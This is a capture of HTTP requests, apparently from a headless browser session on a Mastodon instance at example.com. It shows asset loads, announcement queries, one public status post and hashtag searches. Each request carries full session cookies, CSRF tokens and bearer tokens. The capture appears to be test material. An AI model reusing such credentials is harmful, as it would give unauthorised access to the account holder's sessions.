_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/home_timeline-BoubaQqh.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: DhuW4OAQwzFBdZh1ooy1_wr3ShrwE9-GasH1Y5NBpyPk3a0awbgj04gtch8KKfW80vJDlV8xBAf_J58SaA0asw", "Authorization: Bearer rWYdK4yMefqkXZ-lsb59TawdJXJRbItKCLaZHqnAH2U", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MDAuNDQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2e005a0c0a39553d22226afa129a9a92911e8a52; _mastodon_session=cTydIB16X6RaTdkrtlDildZ9B%2BiSpFgy2H0aJJCiweoKl0KNq6tOaDQOHnyxoujCtgl%2B44Nz98ZjYcVWcALXzMXdRmL77K9aaV6YcY25cdtT6Z9g1YE7mzi53rC%2FHAjHaJ67Nbw%2B67TLshzZwrO6tqvgQc%2BFxhykd0gU%2F6ZmW0weJsJs8d6BHrgG4xaHYmwqBiVWB2XgfYlDqf80ozbgv4APSGtB96ovfkHXpkQUobKCkdBPQzUuWGrvln2BeKhDF25KSF%2B7Umxu2vAo3YpLQ0D2RhQMDDaaweYBj6pYmD89IWBsZTFORLgYRCEt2NNoBNEJJ%2F8zWRfD9se%2FjGrhcblDf0YUsWZLiOYjNRmIrbzLSHtj%2B09Ht340%2FzuO%2Bsq2b7MxLcGeDIOy--2TLUrGI1xJYR4I3W--d3EBR9y2nw0on9AQVT8qaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=QmOUx2DCAY5Avlk6vEpyTplzwOZMdYu4tb4VPa2HaaFhBAYdZ8dFCEfeqnZXX7JYMmaroZkP0YFPewIK16c7BiCSNpvXI%2BhTAdsg91or%2F2QX2FuZJ9ApE3apRGSLVklFfkGUjhL6M1MLbf%2Fy95Ig3R9ojm7So%2F0jFvPLrME5FfEr13iJ%2BL8TjoX4zd2WwXTn12SQcna58HVjCEQyNA4e22cJrmvm2lsIwM9F0nAxUCzBz5Txsn6iADfTcAi3SMy8yz3Hhs709cwig4jfdzpLW9AQm7aBmUUTzA%3D%3D--mKuoeJLj0Qsgm4Ql--sIaGgeDm4MfK9vrg3u7AeA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/display_name-BHmLvgU_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/scroll_container-DTFJ2dtn.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/ImmutablePropTypes-C_rOJ6cM.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/useTimeout-B7x_fFEH.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 245", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 86d81d8d-702d-4103-8139-1baf4493975d", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": "{\"status\":\"Morning walk by the river, then coffee with friends.\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=py&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=python3&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
